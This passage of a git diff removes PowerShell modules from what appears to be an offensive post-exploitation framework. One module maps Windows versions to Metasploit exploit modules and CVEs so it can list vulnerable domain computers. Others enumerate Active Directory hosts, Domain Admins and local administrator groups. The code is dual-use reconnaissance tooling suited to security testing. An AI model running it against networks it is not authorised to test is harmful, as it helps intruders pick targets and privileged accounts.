4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - - - - # Status user - Write-Host "[*] Checking computers for vulnerable OS and SP levels..." - - # ---------------------------------------------------------------- - # Setup data table to store vulnerable systems - # ---------------------------------------------------------------- - - # Create data table to house vulnerable server list - $TableVulnComputers = New-Object System.Data.DataTable - $TableVulnComputers.Columns.Add('ComputerName') | Out-Null - $TableVulnComputers.Columns.Add('OperatingSystem') | Out-Null - $TableVulnComputers.Columns.Add('ServicePack') | Out-Null - $TableVulnComputers.Columns.Add('LastLogon') | Out-Null - $TableVulnComputers.Columns.Add('MsfModule') | Out-Null - $TableVulnComputers.Columns.Add('CVE') | Out-Null - - # Iterate through each exploit - $TableExploits | - ForEach-Object { - - $ExploitOS = $_.OperatingSystem - $ExploitSP = $_.ServicePack - $ExploitMsf = $_.MsfModule - $ExploitCve = $_.CVE - - # Iterate through each ADS computer - $TableAdsComputers | - ForEach-Object { - - $AdsHostname = $_.Hostname - $AdsOS = $_.OperatingSystem - $AdsSP = $_.ServicePack - $AdsLast = $_.LastLogon - - # Add exploitable systems to vul computers data table - if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ){ - - # Add domain computer to data table - $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,[dateTime]::FromFileTime($AdsLast),$ExploitMsf,$ExploitCve) | Out-Null - } - - } - - } - - - # Display results - $VulnComputer = $TableVulnComputers | select ComputerName -Unique | measure - $vulnComputerCount = $VulnComputer.Count - If ($VulnComputer.Count -gt 0){ - - # Return vulnerable server list order with some hack date casting - Write-Host "[+] Found $vulnComputerCount potentially vulnerabile systems!" - $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending - - }else{ - - Write-Host "[-] No vulnerable systems were found." - - } - - } - - End - { - - } -} diff --git a/data/module_source/situational_awareness/network/Get-NetComputer.ps1 b/data/module_source/situational_awareness/network/Get-NetComputer.ps1 deleted file mode 100644 index d36bdd48c..000000000 --- a/data/module_source/situational_awareness/network/Get-NetComputer.ps1 +++ /dev/null @@ -1,311 +0,0 @@ - -function Test-Server { - <# - .SYNOPSIS - Tests a connection to a remote server. - - .DESCRIPTION - This function uses either ping (test-connection) or RPC - (through WMI) to test connectivity to a remote server. - - .PARAMETER Server - The hostname/IP to test connectivity to. - - .OUTPUTS - $True/$False - - .EXAMPLE - > Test-Server -Server WINDOWS7 - Tests ping connectivity to the WINDOWS7 server. - - .EXAMPLE - > Test-Server -RPC -Server WINDOWS7 - Tests RPC connectivity to the WINDOWS7 server. - - .LINK - http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560 - #> - - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$true)] - [String] - $Server, - - [Switch] - $RPC - ) - - process { - if ($RPC){ - $WMIParameters = @{ - namespace = 'root\cimv2' - Class = 'win32_ComputerSystem' - ComputerName = $Name - ErrorAction = 'Stop' - } - if ($Credential -ne $null) - { - $WMIParameters.Credential = $Credential - } - try - { - Get-WmiObject @WMIParameters - } - catch { - Write-Verbose -Message 'Could not connect via WMI' - } - } - # otherwise, use ping - else{ - Test-Connection -ComputerName $Server -count 1 -Quiet - } - } -} - - -function Get-NetDomainController { - <# - .SYNOPSIS - Return the current domain controllers for the active domain. - - .PARAMETER Domain - The domain to query for domain controllers. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomainController - Returns the domain controllers for the current computer's domain. - Approximately equivialent to the hostname given in the LOGONSERVER - environment variable. - - .EXAMPLE - > Get-NetDomainController -Domain test - Returns the domain controllers for the domain "test". - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.DomainControllers - } -} - - -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. - - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomain - Return the current domain. - - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - - - -function Get-NetComputer { - <# - .SYNOPSIS - Gets an array of all current computers objects in a domain. - - .DESCRIPTION - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER HostName - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Ping - Ping each host to ensure it's up before enumerating. - - .PARAMETER FullData - Return full user computer objects instead of just system names (the default). - - .PARAMETER Domain - The domain to query for computers. - - .OUTPUTS - System.Array. An array of found system objects. - - .EXAMPLE - > Get-NetComputer - Returns the current computers in current domain. - - .EXAMPLE - > Get-NetComputer -SPN mssql* - Returns all MS SQL servers on the domain. - - .EXAMPLE - > Get-NetComputer -Domain testing - Returns the current computers in 'testing' domain. - - > Get-NetComputer -Domain testing -FullData - Returns full computer objects in the 'testing' domain. - - .LINK - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 - #> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = '*', - - [string] - $SPN = '*', - - [string] - $OperatingSystem = '*', - - [string] - $ServicePack = '*', - - [Switch] - $Ping, - - [Switch] - $FullData, - - [string] - $Domain - ) - - process { - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainController))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - # create the searcher object with our specific filters - if ($ServicePack -ne '*'){ - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if ($ServicePack -ne '*'){ - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - } - - if ($CompSearcher){ - - # eliminate that pesky 1000 system limit - $CompSearcher.PageSize = 200 - - $CompSearcher.FindAll() | ? {$_} | ForEach-Object { - $up = $true - if($Ping){ - $up = Test-Server -Server $_.properties.dnshostname - } - if($up){ - # return full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - } - $out | Out-String - } - else{ - # otherwise we're just returning the DNS host name - $_.properties.dnshostname + "`n" - } - } - } - } - - } -} diff --git a/data/module_source/situational_awareness/network/Get-NetLocalgroup.ps1 b/data/module_source/situational_awareness/network/Get-NetLocalgroup.ps1 deleted file mode 100644 index 7019193d9..000000000 --- a/data/module_source/situational_awareness/network/Get-NetLocalgroup.ps1 +++ /dev/null @@ -1,526 +0,0 @@ - -function Convert-SidToName { - <# - .SYNOPSIS - Converts a security identifier (SID) to a group/user name. - - .PARAMETER SID - The SID to convert. - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [String] - $SID - ) - - process { - try { - $obj = (New-Object System.Security.Principal.SecurityIdentifier($SID)) - $obj.Translate( [System.Security.Principal.NTAccount]).Value - } - catch { - Write-Warning "invalid SID" - } - } -} - - -function Get-NetGroup { - <# - .SYNOPSIS - Gets a list of all current users in a specified domain group. - - .DESCRIPTION - This function users [ADSI] and LDAP to query the current AD context - or trusted domain for users in a specified group. If no GroupName is - specified, it defaults to querying the "Domain Admins" group. - This is a replacement for "net group 'name' /domain" - - .PARAMETER GroupName - The group name to query for users. If not given, it defaults to "Domain Admins" - - .PARAMETER Domain - The domain to query for group users. - - .PARAMETER FullData - Switch. Returns full data objects instead of just group/users. - - .PARAMETER Recurse - Switch. If the group member is a group, recursively try to query its members as well. - - .EXAMPLE - > Get-NetGroup - Returns the usernames that of members of the "Domain Admins" domain group. - - .EXAMPLE - > Get-NetGroup -Domain testing -GroupName "Power Users" - Returns the usernames that of members of the "Power Users" group - in the 'testing' domain. - - .LINK - http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$true)] - [string] - $GroupName = 'Domain Admins', - - [Switch] - $FullData, - - [Switch] - $Recurse, - - [string] - $Domain, - - [string] - $PrimaryDC - ) - - process { - - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - # samAccountType=805306368 indicates user objects - $GroupSearcher.filter = "(&(objectClass=group)(name=$GroupName))" - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - $Domain = (Get-NetDomain).Name - - # otherwise, use the current domain - $GroupSearcher = [adsisearcher]"(&(objectClass=group)(name=$GroupName))" - } - - if ($GroupSearcher){ - $GroupSearcher.PageSize = 200 - $GroupSearcher.FindAll() | % { - try{ - $GroupFoundName = $_.properties.name[0] - $_.properties.member | ForEach-Object { - # for each user/member, do a quick adsi object grab - if ($PrimaryDC){ - $properties = ([adsi]"LDAP://$PrimaryDC/$_").Properties - } - else { - $properties = ([adsi]"LDAP://$_").Properties - } - - # check if the result is a user account- if not assume it's a group - if ($properties.samAccountType -ne "805306368"){ - $isGroup = $True - } - else{ - $isGroup = $False - } - - $out = New-Object psobject - $out | add-member Noteproperty 'GroupDomain' $Domain - $out | Add-Member Noteproperty 'GroupName' $GroupFoundName - - if ($FullData){ - $properties.PropertyNames | % { - # TODO: errors on cross-domain users? - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - } - } - else { - $MemberDN = $properties.distinguishedName[0] - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - if ($properties.samAccountType -ne "805306368"){ - $isGroup = $True - } - else{ - $isGroup = $False - } - - if ($properties.samAccountName){ - # forest users have the samAccountName set - $MemberName = $properties.samAccountName[0] - } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $properties.cn[0] - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $properties.cn - } - } - $out | add-member Noteproperty 'MemberDomain' $MemberDomain - $out | add-member Noteproperty 'MemberName' $MemberName - $out | add-member Noteproperty 'IsGroup' $IsGroup - $out | add-member Noteproperty 'MemberDN' $MemberDN - } - - $out - - if($Recurse) { - # if we're recursiving and the returned value isn't a user account, assume it's a group - if($IsGroup){ - if($FullData){ - Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -FullData -Recurse -GroupName $properties.SamAccountName[0] - } - else { - Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -Recurse -GroupName $properties.SamAccountName[0] - } - } - } - } - } - catch { - write-verbose $_ - } - } - } - } -} - - -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. - - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomain - Return the current domain. - - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - - -function Convert-SidToName { - <# - .SYNOPSIS - Converts a security identifier (SID) to a group/user name. - - .PARAMETER SID - The SID to convert. - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [String] - $SID - ) - - process { - try { - $obj = (New-Object System.Security.Principal.SecurityIdentifier($SID)) - $obj.Translate( [System.Security.Principal.NTAccount]).Value - } - catch { - Write-Warning "invalid SID" - } - } -} - - -function Translate-NT4Name { - <# - .SYNOPSIS - Converts a user/group NT4 name (i.e. dev/john) to canonical format. - Based on Bill Stewart's code from this article: - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats - - .PARAMETER DomainObject - The user/groupname to convert - - .PARAMETER DomainObject - The user/groupname to convert - - .LINK - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats - #> - [CmdletBinding()] - param( - [String] $DomainObject, - [String] $Domain - ) - - if (-not $Domain) { - $domain = (Get-NetDomain).name - } - - $DomainObject = $DomainObject -replace "/","\" - - # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { - $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) - if ( $output ) { $output } - } - function Set-Property([__ComObject] $object, [String] $property, $parameters) { - [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) - } - - $Translate = new-object -comobject NameTranslate - - try { - Invoke-Method $Translate "Init" (1, $Domain) - } - catch [System.Management.Automation.MethodInvocationException] { } - - Set-Property $Translate "ChaseReferral" (0x60) - - try { - Invoke-Method $Translate "Set" (3, $DomainObject) - (Invoke-Method $Translate "Get" (2)) - } - catch [System.Management.Automation.MethodInvocationException] { } -} - -function Get-NetLocalGroup { - <# - .SYNOPSIS - Gets a list of all current users in a specified local group. - - .PARAMETER HostName - The hostname or IP to query for local group users. - - .PARAMETER HostList - List of hostnames/IPs to query for local group users. - - .PARAMETER GroupName - The local group name to query for users. If not given, it defaults to "Administrators" - - .PARAMETER Recurse - Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. - - .EXAMPLE - > Get-NetLocalGroup - Returns the usernames that of members of localgroup "Administrators" on the local host. - - .EXAMPLE - > Get-NetLocalGroup -HostName WINDOWSXP - Returns all the local administrator accounts for WINDOWSXP - - .EXAMPLE - > Get-NetLocalGroup -HostName WINDOWS7 -Resurse - Returns all effective local/domain users/groups that can access WINDOWS7 with - local administrative privileges. - - .LINK - http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together - http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', - - [string] - $HostList, - - [string] - $GroupName, - - [switch] - $Recurse - ) - - process { - - $Servers = @() - - # if we have a host list passed, grab it - if($HostList){ - if (Test-Path -Path $HostList){ - $Servers = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - $null - } - } - else{ - # otherwise assume a single host name - $Servers += $HostName - } - - if (-not $GroupName){ - # resolve the SID for the local admin group - this should usually default to "Administrators" - $objSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') - $objgroup = $objSID.Translate( [System.Security.Principal.NTAccount]) - $GroupName = ($objgroup.Value).Split('\')[1] - } - - # query the specified group using the WINNT provider, and - # extract fields as appropriate from the results - foreach($Server in $Servers) - { - try{ - $members = @($([ADSI]"WinNT://$server/$groupname").psbase.Invoke('Members')) - $members | ForEach-Object { - $out = New-Object psobject - $out | Add-Member Noteproperty 'Server' $Server - - $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $null, $_, $null)).Replace('WinNT://', '') - - # try to translate the NT4 domain to a FQDN if possible - $name = Translate-NT4Name $AdsPath - if($name) { - $fqdn = $name.split("/")[0] - $objName = $AdsPath.split("/")[-1] - $name = "$fqdn/$objName" - $IsDomain = $True - } - else { - $name = $AdsPath - $IsDomain = $False - } - - $out | Add-Member Noteproperty 'AccountName' $name - - # translate the binary sid to a string - $out | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $null, $_, $null),0)).Value) - - # if the account is local, check if it's disabled, if it's domain, always print $false - # TODO: fix this error? - $out | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $null, $_, $null) } catch { 'ERROR' } } else { $False } ) - - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $out | Add-Member Noteproperty 'IsGroup' $IsGroup - $out | Add-Member Noteproperty 'IsDomain' $IsDomain - if($IsGroup){ - $out | Add-Member Noteproperty 'LastLogin' "" - } - else{ - try { - $out | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $null, $_, $null)) - } - catch { - $out | Add-Member Noteproperty 'LastLogin' "" - } - } - $out - - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results - if($Recurse -and $IsDomain -and $IsGroup){ - Write-Verbose "recurse!" - $FQDN = $name.split("/")[0] - $GroupName = $name.split("/")[1] - Get-NetGroup $GroupName -FullData -Recurse | % { - $out = New-Object psobject - $out | Add-Member Noteproperty 'Server' $name - - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - if ($_.samAccountType -ne "805306368"){ - $MemberIsGroup = $True - } - else{ - $MemberIsGroup = $False - } - - if ($_.samAccountName){ - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } - - $out | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $out | Add-Member Noteproperty 'SID' $_.objectsid - $out | Add-Member Noteproperty 'Disabled' $False - $out | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $out | Add-Member Noteproperty 'IsDomain' $True - $out | Add-Member Noteproperty 'LastLogin' '' - $out - } - } - } - } - catch { - Write-Warning "[!] Error: 